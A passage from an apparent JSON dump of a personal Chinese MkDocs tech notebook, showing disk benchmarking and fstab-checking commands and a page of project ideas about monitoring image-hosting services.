class=\"o\">-</span><span class=\"nv\">l</span><span class=\"w\"> </span><span class=\"nv\">selftest</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">dev</span><span class=\"o\">/</span><span class=\"nv\">sda</span>\n</code></pre></div>\n\n<p>读写性能：</p>\n<div class=\"codehilite\"><pre><span></span><code>hdparam -Tt /dev/sda\n\napt install -y fio\nfio --randrepeat=1 --ioengine=libaio --direct=1 --gtod_reduce=1 --name=fiotest --filename=testfio --bs=4k --iodepth=64 --size=8G --readwrite=randrw --rwmixread=75 &amp;&amp; rm testfio\n</code></pre></div>\n\n<hr />\n<h2 id=\"etcfstab\">验证/etc/fstab正确性<a class=\"headerlink\" href=\"#etcfstab\" title=\"Permanent link\">&para;</a></h2>\n<p>参考 https://serverfault.com/questions/174181/how-do-you-validate-fstab-without-rebooting</p>\n<div class=\"codehilite\"><pre><span></span><code>mount -fav\nfindmnt --verify --verbose\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Misson/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>说明 - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#_1\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              说明\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    图床可用性监测+特性测试数据？\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"_1\">说明<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h1>\n<p>这个文件是我的Idea们，挖个坑待填</p>\n<p>有兴趣和我一起干或告知现有的技术，欢迎提issue或发送邮件：github@qiushi.ac.cn</p>\n<hr />\n<h2 id=\"_2\">图床可用性监测+特性测试数据？<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>现在我们已经有很多图床服务，但似乎并没有可用性监测数据，直接使用之前还需要自行测试是否有防盗链等特性，有没有这样一个图床测试服务来提供这些数据呢？</p>\n<p>例如这些图床上传代码：</p>\n<p>https://www.npmjs.com/package/upimg/v/0.1.8\nhttps://github.com/aimerforreimu/auxpi/tree/dev/server</p>\n<p>每天测一次上传服务可用性，每小时测一次 cdn 下载可靠性</p>\n<p>特性指标：</p>\n<p>可靠性：会不会 404、服务器跑路（如熊猫直播、360 云盘）、是否友好（引用自 npm upimg 包 0.1.8：由于某公司方面施压，upimg 将不维护以上列表外服务的可用性）</p>\n<p>易用性：特定语言下是否已经有开源代码实现上传功能 （例如腾讯云 cos 前端上传就没有后端语言的实现）</p>\n<p>前端可用：可否在其他网站上传，是否防盗链，是否可以跨域读取内容，访问频率限制，直接打开 url 是否强制下载</p>\n<p>后端可用：维护登录 cookie 